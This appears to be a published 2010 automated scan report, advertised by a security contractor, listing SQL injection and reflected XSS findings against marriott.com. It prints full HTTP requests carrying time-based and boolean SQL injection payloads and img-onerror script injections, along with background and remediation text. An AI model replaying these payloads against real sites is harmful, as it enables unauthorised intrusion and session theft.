Contractor for Hire: Per Minute, Per Day, Bounty Hunting

Example #1: Automated Vulnerability Crawler: $1/min, max charge is US $10 for 200 URL + 10 Params for
CWE-79, CWE-89 and CWE-113 (XSS, SQL Injection and HTTP Header Injection).
Example #2: Hybrid Risk Analysis: $2/min, max charge is US $30 for 200 URL + 10 Params, Manual Testing of High Value URI/Param targets.
Example #3: Penetration Testing: Individual Case Basis, use Live Chat for a Quote.
Example #4:
Report generated by XSS.CX at Sat Nov 13 20:08:10 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. SQL injection

1.1. https://www.marriott.com/reservation/availability.mi [User-Agent HTTP header]

1.2. https://www.marriott.com/reservation/invalidInput.mi [MI_Visitor cookie]

1.3. https://www.marriott.com/reservation/rateListMenu.mi [name of an arbitrarily supplied request parameter]

2. Cross-site scripting (reflected)

2.1. https://www.marriott.com/reservation/availabilitySearch.mi [fromDate parameter]

2.2. https://www.marriott.com/reservation/availabilitySearch.mi [toDate parameter]

2.3. https://www.marriott.com/search/submitSearch.mi [fromDate parameter]

2.4. https://www.marriott.com/search/submitSearch.mi [toDate parameter]



1. SQL injection  next
There are 3 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. https://www.marriott.com/reservation/availability.mi [User-Agent HTTP header]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.marriott.com
Path:   /reservation/availability.mi

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. The payload ')waitfor%20delay'0%3a0%3a20'-- was submitted in the User-Agent HTTP header. The application took 17728 milliseconds to respond to the request, compared with 306 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /reservation/availability.mi HTTP/1.1
Host: www.marriott.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)')waitfor%20delay'0%3a0%3a20'--
Connection: close
Cookie: FormInfoCookie=d6301"><img src=a onerror=alert(1)>77c6c7844d2|10/29/2010|null|1||||; JSESSIONID=0000Y_y8oROMN17n5OjijdZ4aSU:14a0iitlu; MI_Visitor=JICChkuOYSHyiN5NSGspzf5; MI_SITE=prod1; VSC=EC029FEE891C66F7;

Response (redirected)

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.23 Apache/2.0.47 (Unix) DAV/2
Content-Length: 73248
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=0000MLsOJPDc-gB_Keu19u2ymbo:14a0im11h; Path=/
Set-Cookie: MI_SITE=prod1;path=/
Set-Cookie: FormInfoCookie=10/25/2010||1|||||;; Path=/
Pragma: no-cache
Content-Language: en-US
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVDo CONo HISa TELi OUR DELa BUS IND PHY ONL UNI PUR COM NAV INT DEM PRE"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Date: Mon, 25 Oct 2010 19:29:17 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www
...[SNIP]...

1.2. https://www.marriott.com/reservation/invalidInput.mi [MI_Visitor cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   https://www.marriott.com
Path:   /reservation/invalidInput.mi

Issue detail

The MI_Visitor cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the MI_Visitor cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /reservation/invalidInput.mi HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cookie: VSC=EC029FEE891C66F7; MI_Visitor=JICChkuOYSHyiN5NSGspzf5'%20and%201%3d1--%20; JSESSIONID=0000B-9lI95BuiPn9ftGbX0JpZA:14a0ihjfs; FormInfoCookie=10/28/2010|10/29/2010|null|1||||; MI_SITE=prod1
Host: www.marriott.com

Response 1

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.23 Apache/2.0.47 (Unix) DAV/2
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=0000xSpvHVud6J1GJkZ0PgQCWsk:14a0iitlu; Path=/
Set-Cookie: MI_SITE=prod1;path=/
Set-Cookie: FormInfoCookie=10/25/2010||1|||||;; Path=/
Pragma: no-cache
Vary: Accept-Encoding
Content-Language: en-US
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVDo CONo HISa TELi OUR DELa BUS IND PHY ONL UNI PUR COM NAV INT DEM PRE"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Date: Mon, 25 Oct 2010 18:35:32 GMT
Connection: keep-alive
Content-Length: 73248

















<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">











<head> <script type="text/javascript" src="/tsedge_instr-min.js"> </script>









   
   
   

   


   

       <title>
           Cannot Process Request
       </title>
       <meta name="description" content="" />
       <meta name="keywords" content="" />

       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
       <meta http-equiv="Content-Style-Type" content="text/css" />
   
   

   

   
       
   
   
   
       <link rel="search" type="application/opensearchdescription+xml" title="Marriott Hotel Search by City/Airport Code" href="/tools/search/marriott-city-search.xml?log=1" />
       <link rel="search" type="application/opensearchdescription+xml" title="Marriott Hotel Search by Keyword" href="/tools/search/marriott-keyword-search.xml?log=1" />
   
   
   
       
   
   
   <script type="text/javascript">if(!JAWR){var JAWR = {};};;JAWR.jawr_dwr_path='/dwr';JAWR.dwr_scriptSessionId='DEB7DB2F4D83248FEC7670232AF244D6';JAWR.app_context_path='';</script>
<link rel="stylesheet" type="text/css" media="all" href="/miCSSPath/668030081/bundles/mi_base.css" />

   
   
           
   
   
           

   
           
   
   
           

   
   

   
       
   
   
   
   
   
   
   
   
   
   
   
   
   
   
       
           <link rel="stylesheet" type="text/css" media="all"
...[SNIP]...

Request 2

GET /reservation/invalidInput.mi HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cookie: VSC=EC029FEE891C66F7; MI_Visitor=JICChkuOYSHyiN5NSGspzf5'%20and%201%3d2--%20; JSESSIONID=0000B-9lI95BuiPn9ftGbX0JpZA:14a0ihjfs; FormInfoCookie=10/28/2010|10/29/2010|null|1||||; MI_SITE=prod1
Host: www.marriott.com

Response 2

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.23 Apache/2.0.47 (Unix) DAV/2
Content-Type: text/html; charset=UTF-8
Set-Cookie: FormInfoCookie=10/25/2010||1|||||;; Path=/
Set-Cookie: MI_SITE=prod1;path=/
Pragma: no-cache
Vary: Accept-Encoding
Content-Language: en-US
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVDo CONo HISa TELi OUR DELa BUS IND PHY ONL UNI PUR COM NAV INT DEM PRE"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Date: Mon, 25 Oct 2010 18:35:33 GMT
Connection: keep-alive
Content-Length: 73248

















<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">











<head> <script type="text/javascript" src="/tsedge_instr-min.js"> </script>









   
   
   

   


   

       <title>
           Cannot Process Request
       </title>
       <meta name="description" content="" />
       <meta name="keywords" content="" />

       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
       <meta http-equiv="Content-Style-Type" content="text/css" />
   
   

   

   
       
   
   
   
       <link rel="search" type="application/opensearchdescription+xml" title="Marriott Hotel Search by City/Airport Code" href="/tools/search/marriott-city-search.xml?log=1" />
       <link rel="search" type="application/opensearchdescription+xml" title="Marriott Hotel Search by Keyword" href="/tools/search/marriott-keyword-search.xml?log=1" />
   
   
   
       
   
   
   <script type="text/javascript">if(!JAWR){var JAWR = {};};;JAWR.jawr_dwr_path='/dwr';JAWR.dwr_scriptSessionId='6D7C64D35F743EBE0A6CEC7DA71E79AF';JAWR.app_context_path='';</script>
<link rel="stylesheet" type="text/css" media="all" href="/miCSSPath/668030081/bundles/mi_base.css" />

   
   
           
   
   
           

   
           
   
   
           

   
   

   
       
   
   
   
   
   
   
   
   
   
   
   
   
   
   
       
           <link rel="stylesheet" type="text/css" media="all" href="/miCSSPath/N1127229706/common/css/reservations/reservations.css"
...[SNIP]...

1.3. https://www.marriott.com/reservation/rateListMenu.mi [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.marriott.com
Path:   /reservation/rateListMenu.mi

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the name of an arbitrarily supplied request parameter. The application took 36871 milliseconds to respond to the request, compared with 19562 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /reservation/rateListMenu.mi?1,0,0)waitfor%20delay'0%3a0%3a20'--=1 HTTP/1.1
Host: www.marriott.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: FormInfoCookie=d6301"><img src=a onerror=alert(1)>77c6c7844d2|10/29/2010|null|1||||; JSESSIONID=0000Y_y8oROMN17n5OjijdZ4aSU:14a0iitlu; MI_Visitor=JICChkuOYSHyiN5NSGspzf5; MI_SITE=prod1; VSC=EC029FEE891C66F7;

Response (redirected)

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.23 Apache/2.0.47 (Unix) DAV/2
Content-Length: 72709
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=0000Sg0fCXgXmN7IDyI_e-xYx_7:14a0im11h; Path=/
Set-Cookie: MI_SITE=prod1;path=/
Set-Cookie: FormInfoCookie=10/25/2010||1|||||;; Path=/
Pragma: no-cache
Content-Language: en-US
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVDo CONo HISa TELi OUR DELa BUS IND PHY ONL UNI PUR COM NAV INT DEM PRE"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Date: Mon, 25 Oct 2010 19:08:08 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www
...[SNIP]...

2. Cross-site scripting (reflected)  previous
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. https://www.marriott.com/reservation/availabilitySearch.mi [fromDate parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.marriott.com
Path:   /reservation/availabilitySearch.mi

Issue detail

The value of the fromDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6301"><img%20src%3da%20onerror%3dalert(1)>77c6c7844d2 was submitted in the fromDate parameter. This input was echoed as d6301"><img src=a onerror=alert(1)>77c6c7844d2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /reservation/availabilitySearch.mi?isSearch=true&fromDate=d6301"><img%20src%3da%20onerror%3dalert(1)>77c6c7844d2&toDate=10/29/10&clusterCode=&corporateCode=&groupCode=&numberOfRooms=1&numberOfGuests=1&incentiveType_Number=&incentiveType=false&marriottRewardsNumber=&useRewardsPoints=false&propertyCode=BOSRF HTTP/1.1
Host: www.marriott.com
Connection: keep-alive
Referer: https://www.marriott.com/search/findHotels.mi
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VSC=CBE450760211218D; MI_Visitor=-Yxkj-6JpG5apw3P4oIrndJ; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1287875375_PCT-1287875375_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; JSESSIONID=00002rXrJWJwoIhhUWavfvA46ep:14a0ig9tc; FormInfoCookie=10/28/2010|10/29/2010|1|1||||; ctcData=searchCount_0*resAmount_0*inByTomorrow_true*city_Boston*state_MA*country_US*; fsr.s={"cp":{"TLSessionID":"foreseeJSessionId"},"v":1,"pv":4,"to":3.9,"c":"https://www.marriott.com/search/findHotels.mi","lc":{"d1":{"v":4,"s":true,"e":2}},"cd":1,"sd":1,"f":1287875666015}; MI_SITE=prod1; omniData=count_0*omniMultiSearchlocationbostonmaus_indate10/28/10_outdate10/29/10*searchResultTrackingData64:3:119.00:99.00:595.00:6.3:0.5:No:No:No:Distance:1*; s_pers=%20s_lv%3D1287875687442%7C1382483687442%3B%20s_lv_s%3DFirst%2520Visit%7C1287877487442%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dmarriottglobal%253D%252526pid%25253Dwww.marriott.com/search/findHotels.mi%252526pidt%25253D1%252526oid%25253Dhttps%2525253A//www.marriott.com/reservation/availabilitySearch.mi%2525253FisSearch%2525253Dtrue%25252526fromDate%2525253D10/28/10%25252526toDate%2525253D10%252526ot%25253DA%3B

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.23 Apache/2.0.47 (Unix) DAV/2
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=00007VLN8_A-SygIn7Zi2wKoeYK:14a0ig9tc; Path=/
Set-Cookie: MI_SITE=prod1;path=/
Set-Cookie: FormInfoCookie=d6301"><img src=a onerror=alert(1)>77c6c7844d2|10/29/2010|null|1||||;; Path=/
Pragma: no-cache
Vary: Accept-Encoding
Content-Language: en-US
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVDo CONo HISa TELi OUR DELa BUS IND PHY ONL UNI PUR COM NAV INT DEM PRE"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Date: Mon, 25 Oct 2010 18:23:12 GMT
Connection: keep-alive
Content-Length: 92925


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www
...[SNIP]...
<input type="text" name="fromDate" id="global-header-hotel-fromDate" value="d6301"><img src=a onerror=alert(1)>77c6c7844d2" maxlength="10" class="calendar-module-fromdate search-fromDate" />
...[SNIP]...

2.2. https://www.marriott.com/reservation/availabilitySearch.mi [toDate parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.marriott.com
Path:   /reservation/availabilitySearch.mi

Issue detail

The value of the toDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7c66"><img%20src%3da%20onerror%3dalert(1)>e61920e87e2 was submitted in the toDate parameter. This input was echoed as c7c66"><img src=a onerror=alert(1)>e61920e87e2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /reservation/availabilitySearch.mi?isSearch=true&fromDate=10/28/10&toDate=c7c66"><img%20src%3da%20onerror%3dalert(1)>e61920e87e2&clusterCode=&corporateCode=&groupCode=&numberOfRooms=1&numberOfGuests=1&incentiveType_Number=&incentiveType=false&marriottRewardsNumber=&useRewardsPoints=false&propertyCode=BOSRF HTTP/1.1
Host: www.marriott.com
Connection: keep-alive
Referer: https://www.marriott.com/search/findHotels.mi
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VSC=CBE450760211218D; MI_Visitor=-Yxkj-6JpG5apw3P4oIrndJ; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1287875375_PCT-1287875375_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; JSESSIONID=00002rXrJWJwoIhhUWavfvA46ep:14a0ig9tc; FormInfoCookie=10/28/2010|10/29/2010|1|1||||; ctcData=searchCount_0*resAmount_0*inByTomorrow_true*city_Boston*state_MA*country_US*; fsr.s={"cp":{"TLSessionID":"foreseeJSessionId"},"v":1,"pv":4,"to":3.9,"c":"https://www.marriott.com/search/findHotels.mi","lc":{"d1":{"v":4,"s":true,"e":2}},"cd":1,"sd":1,"f":1287875666015}; MI_SITE=prod1; omniData=count_0*omniMultiSearchlocationbostonmaus_indate10/28/10_outdate10/29/10*searchResultTrackingData64:3:119.00:99.00:595.00:6.3:0.5:No:No:No:Distance:1*; s_pers=%20s_lv%3D1287875687442%7C1382483687442%3B%20s_lv_s%3DFirst%2520Visit%7C1287877487442%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dmarriottglobal%253D%252526pid%25253Dwww.marriott.com/search/findHotels.mi%252526pidt%25253D1%252526oid%25253Dhttps%2525253A//www.marriott.com/reservation/availabilitySearch.mi%2525253FisSearch%2525253Dtrue%25252526fromDate%2525253D10/28/10%25252526toDate%2525253D10%252526ot%25253DA%3B

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.23 Apache/2.0.47 (Unix) DAV/2
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=0000s_HNF4e2FZH552aO9Wr3PTP:14a0im11h; Path=/
Set-Cookie: MI_SITE=prod1;path=/
Set-Cookie: FormInfoCookie=10/28/2010|c7c66"><img src=a onerror=alert(1)>e61920e87e2|null|1||||;; Path=/
Pragma: no-cache
Vary: Accept-Encoding
Content-Language: en-US
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVDo CONo HISa TELi OUR DELa BUS IND PHY ONL UNI PUR COM NAV INT DEM PRE"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Date: Mon, 25 Oct 2010 18:32:27 GMT
Connection: keep-alive
Content-Length: 92926


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www
...[SNIP]...
<input type="text" name="toDate" id="global-header-hotel-toDate" value="c7c66"><img src=a onerror=alert(1)>e61920e87e2" maxlength="10" class="calendar-module-todate search-toDate" />
...[SNIP]...

2.3. https://www.marriott.com/search/submitSearch.mi [fromDate parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.marriott.com
Path:   /search/submitSearch.mi

Issue detail

The value of the fromDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1dd5e"><img%20src%3da%20onerror%3dalert(1)>b963b779428 was submitted in the fromDate parameter. This input was echoed as 1dd5e"><img src=a onerror=alert(1)>b963b779428 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /search/submitSearch.mi?searchType=InCity&groupCode=&searchRadius=50&recordsPerPage=10&formType=InCity&destinationAddress.city=Boston&destinationAddress.stateProvince=MA&fromDate=1dd5e"><img%20src%3da%20onerror%3dalert(1)>b963b779428&minDate=10%2F23%2F2010&maxDate=10%2F09%2F2011&monthNames=January%2CFebruary%2CMarch%2CApril%2CMay%2CJune%2CJuly%2CAugust%2CSeptember%2COctober%2CNovember%2CDecember&weekDays=S%2CM%2CT%2CW%2CT%2CF%2CS&dateFormatPattern=M%2Fd%2Fyy&roomCount=1&destinationAddress.country=US&toDate=10%2F29%2F10&populateTodateFromFromDate=true&defaultToDateDays=1&guestCount=1&marriottRewardsNumber=&clusterCode=none&corporateCode=&displayableIncentiveType_Number=&marriottBrands=all HTTP/1.1
Host: www.marriott.com
Connection: keep-alive
Referer: https://www.marriott.com/search/submitSearch.mi?searchType=InCity&groupCode=&searchRadius=50&recordsPerPage=10&vsMarriottBrands=&destinationAddress.city=&destinationAddress.stateProvince=&destinationAddress.country=&fromDate=&minDate=10%2F23%2F2010&maxDate=10%2F09%2F2011&monthNames=January%2CFebruary%2CMarch%2CApril%2CMay%2CJune%2CJuly%2CAugust%2CSeptember%2COctober%2CNovember%2CDecember&weekDays=S%2CM%2CT%2CW%2CT%2CF%2CS&dateFormatPattern=M%2Fd%2Fyy&toDate=10%2F28%2F10&populateTodateFromFromDate=true&defaultToDateDays=1&roomCount=1&guestCount=1&marriottRewardsNumber=&clusterCode=none&corporateCode=&displayableIncentiveType_Number=&marriottBrands=all
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VSC=CBE450760211218D; MI_Visitor=-Yxkj-6JpG5apw3P4oIrndJ; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1287875375_PCT-1287875375_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; JSESSIONID=00002rXrJWJwoIhhUWavfvA46ep:14a0ig9tc; FormInfoCookie=|10/28/2010|null|null||||; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ctcData=searchCount_0*resAmount_0*inByTomorrow_true*; fsr.s={"cp":{"TLSessionID":"foreseeJSessionId"},"v":1,"pv":3,"to":3.4,"c":"https://www.marriott.com/search/submitSearch.mi","lc":{"d1":{"v":3,"s":true,"e":1}},"cd":1,"sd":1,"f":1287875630201}; MI_SITE=prod1; s_pers=%20s_lv%3D1287875661027%7C1382483661027%3B%20s_lv_s%3DFirst%2520Visit%7C1287877461027%3B

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.23 Apache/2.0.47 (Unix) DAV/2
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=0000OLISRU-Dt1GWeFnakYk80fN:14a0ii8oo; Path=/
Set-Cookie: MI_SITE=prod1;path=/
Set-Cookie: FormInfoCookie=1dd5e"><img src=a onerror=alert(1)>b963b779428|10/29/2010|null|null||||;; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Vary: Accept-Encoding
Content-Language: en-US
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVDo CONo HISa TELi OUR DELa BUS IND PHY ONL UNI PUR COM NAV INT DEM PRE"
Date: Mon, 25 Oct 2010 18:50:57 GMT
Connection: keep-alive
Content-Length: 163587


           <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   

<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<input type="text" name="fromDate" id="global-header-hotel-fromDate" value="1dd5e"><img src=a onerror=alert(1)>b963b779428" maxlength="10" class="calendar-module-fromdate search-fromDate" />
...[SNIP]...

2.4. https://www.marriott.com/search/submitSearch.mi [toDate parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.marriott.com
Path:   /search/submitSearch.mi

Issue detail

The value of the toDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe4ce"><img%20src%3da%20onerror%3dalert(1)>56367060fec was submitted in the toDate parameter. This input was echoed as fe4ce"><img src=a onerror=alert(1)>56367060fec in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /search/submitSearch.mi?searchType=InCity&groupCode=&searchRadius=50&recordsPerPage=10&formType=InCity&destinationAddress.city=Boston&destinationAddress.stateProvince=MA&fromDate=10%2F28%2F10&minDate=10%2F23%2F2010&maxDate=10%2F09%2F2011&monthNames=January%2CFebruary%2CMarch%2CApril%2CMay%2CJune%2CJuly%2CAugust%2CSeptember%2COctober%2CNovember%2CDecember&weekDays=S%2CM%2CT%2CW%2CT%2CF%2CS&dateFormatPattern=M%2Fd%2Fyy&roomCount=1&destinationAddress.country=US&toDate=fe4ce"><img%20src%3da%20onerror%3dalert(1)>56367060fec&populateTodateFromFromDate=true&defaultToDateDays=1&guestCount=1&marriottRewardsNumber=&clusterCode=none&corporateCode=&displayableIncentiveType_Number=&marriottBrands=all HTTP/1.1
Host: www.marriott.com
Connection: keep-alive
Referer: https://www.marriott.com/search/submitSearch.mi?searchType=InCity&groupCode=&searchRadius=50&recordsPerPage=10&vsMarriottBrands=&destinationAddress.city=&destinationAddress.stateProvince=&destinationAddress.country=&fromDate=&minDate=10%2F23%2F2010&maxDate=10%2F09%2F2011&monthNames=January%2CFebruary%2CMarch%2CApril%2CMay%2CJune%2CJuly%2CAugust%2CSeptember%2COctober%2CNovember%2CDecember&weekDays=S%2CM%2CT%2CW%2CT%2CF%2CS&dateFormatPattern=M%2Fd%2Fyy&toDate=10%2F28%2F10&populateTodateFromFromDate=true&defaultToDateDays=1&roomCount=1&guestCount=1&marriottRewardsNumber=&clusterCode=none&corporateCode=&displayableIncentiveType_Number=&marriottBrands=all
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
